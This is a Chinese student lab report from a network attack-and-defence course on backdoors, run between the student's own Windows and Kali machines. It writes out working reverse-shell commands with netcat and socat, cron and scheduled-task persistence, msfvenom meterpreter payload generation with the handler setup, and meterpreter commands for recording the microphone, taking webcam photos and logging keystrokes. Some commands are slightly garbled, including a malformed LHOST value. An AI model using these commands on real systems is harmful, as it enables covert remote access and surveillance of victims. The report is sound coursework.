20174302王漫天《网络对抗技术》Exp2 后门原理与实践 212
1 实验目标
1.1 实验要求
- 使用nc实现win,mac,Linux间的后门连接
- meterpreter的应用
- MSF POST 模块的应用
1.2 实验内容
- 使用netcat获取主机操作Shell,cron启动 。
- 使用socat获取主机操作Shell, 任务计划启动 。
- 使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell。
- 使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权 。
- 使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell。
三、实验步骤及结果
(一)ncat
netcat是一个底层工具,进行基本的TCP、UDP数据收发。常被与其他工具结合使用,起到后门的作用。Linux一般自带netcat,"man netcat"或"man nc"可查看其使用说明。
Windows中安装ncat,在 课程主页附件中下载ncat.rar解压即可使用。这里笔者下载解压到D盘上。
1.Win获得Linux Shell
先查看一下windows端的IP地址(ipconfig)。
在windows中下载好netcat后,切换到文件目录,用 ncat.exe -l -p 4315 命令打开监听。
接下来打开Kali,用nc 192.168.1.49 4315 -e /bin/sh 指令来进行反弹式连接。
过一会在Windows用ncat.exe -l -p 4320 命令打开,发现已经获得了Linux的shell,可以运行任何的指令。(在这里我用ls作为示例)
2.1.2 Linux获得Win Shell
既然我们的windows可以获取Linux的shell,那当然反过来也成立。
首先,我们要知道虚拟机的IP地址,这里用ipconfig来查看
在Linux端运行监听指令 nc -l -p 4315,然后就在windows上进行反弹连接 ncat.exe -e cmd.exe 192.168.54.128 4315。
这样一来,Linux就获得了windows的shell。
可以看到命令行界面,还可以执行windows的命令(我用ipconfig为示例)
2.1.3 nc传输数据
windows运行监听指令
linux与windows建立连接;
连接建立成功后,可以进行字符数据的传输了
2.2 Meterpreter
Meterpreter是一个用来生成后门程序的平台,具有强大的功能,特别是其socks代理,简直就是内网渗透测试神器。
后门就是一个程序。
传统的理解是:有人编写一个后门程序,大家拿来用。
后来有一些牛人呢,就想编写一个平台能生成后门程序。这个平台呢,把后门的基本功能、扩展功能、编码功能、运行平台以及运行参数,全都做成零件或可调整的参数。用的时候按需要组合,就可以生成一个可执行文件。
典型的平台就包括有:
- intersect
- Metaspolit的msfvenom指令
- Veil-evasion
任务一:使用netcat获取主机操作Shell,cron启动
Cron是Linux下的定时任务,每一分钟运行一次,根据配置文件执行预设的指令。
1.在windows中开启监听,使用 ncat.exe -l 4315 命令监听4315
端口
2.crontab指令增加一条定时任务,"-e"表示编辑。并选择编辑器3,在底行插入10 * * * * /bin/netcat 192.168.1.156 4315 -e /bin/sh,即在每个小时的第10分钟反向连接主机的4315
端口。
3.保存、退出后配置即生效。可以通过"crontab -l"来查看,"-l"表示list。10分钟后执行指令,可以发现已经获得了shell。
任务二:使用socat获取主机操作Shell, 任务计划启动
1.把张博同学发给我的socat压缩包下载下来并解压好。
2.在Windows系统下,打开控制面板->系统和安全->管理工具找到任务计划程序,点击创建任务。
3.点击触发器选项卡,选择新建,然后将开始任务设置为工作站锁定时。
4.在操作选项卡,点击新建,在“程序或脚本”中选择socat.exe文件的路径,添加参数中填写tcp-listen:4315 exec:cmd.exe,pty,stderr,这个命令的作用是把cmd.exe绑定到端口4315,同时把cmd.exe的stderr重定向到stdout上;
5.创建完成之后,键入windows+L锁定计算机再次登录,让任务开始执行。点击任务计划程序库,可以看见这个被我命名为4315的计划正在运行。
6.然后在Kali环境下输入指令 socat -tcp:192.168.1.156:4320,可以发现已经获得了cmd的shell,看到了命令行界面(使用了ipconfig来验证)。
任务三:使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
1.生成4320_backdoor.exe,复制到Win。
在Kali中输入命令如下(由于是在Linux中生成后门,所以此处的ip地址是Kali的ip地址)kali的ip地址如下
msfvenom -p windows/meterpreter/reverse_tcp LHOST=127.0.0.1=4315 -f exe > 4315_backdoor.exe
2.在Windows下执行 ncat.exe -l 4315 > 4315_backdoor.exe,使被控主机进入接收文件模式。
3.在kali中执行nc 192.168.1.49 4315 < 4315_backdoor.exe,将生成的后门程序传送到主机上。
4.MSF打开监听进程。
Kali中重新打开一个终端,输入msfconsole
进入msf控制台
依次输入:
-
use exploit/multi/handler
//使用监听模块,设置payload -
set payload windows/meterpreter/reverse_tcp
//使用与生成后门程序时相同的payload -
set LHOST 192.168.171.128
-
set LPORT 4320
-
exploit
//设置完成,开始监听 -
任务四:使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权;
1.音频
保持任务三的状态,输入 record_mic 可以截获一段音频。
2、摄像头
输入指令webcam_snap 使用摄像头拍照。
3、击键记录
使用keyscan_start
指令记录下击键的过程,keyscan_dump
指令读取击键记录
3 实验思考与心得
3.1 基础问题回答
1、实验体会
这次实验趣味性很强,通过学习老师教程以及学长学姐的博客,基本都能够完成实验。在这次实验中,我学会了利用后门程序对主机进行注入攻击,学会了使用netcat、socat、meterpreter等,虽然内容简单,但我已经基本了解后门的基本原理。在今后的学习中,我将会进一步深入研究后门的各种理论知识。并且学习了后门相关的知识,还用了necat、socat、msf这些工具来生成后门程序并获取shell,其中msf让我印象深刻。在这次实验前,经常看到关于漏洞的新闻,但没有想到电脑会这么容易被攻击。经过这次实验,我的安全意识提高了很多。
网络攻防这门课程,需要的是我们大胆的想法和清醒的认知,在循规蹈矩的同时,敢想敢做,敢于从别人不敢思考的地方下手。实验与实验仍然相差很多,我的实验跟同学的实验仍然有很大的差距,这是今后需要弥补的地方。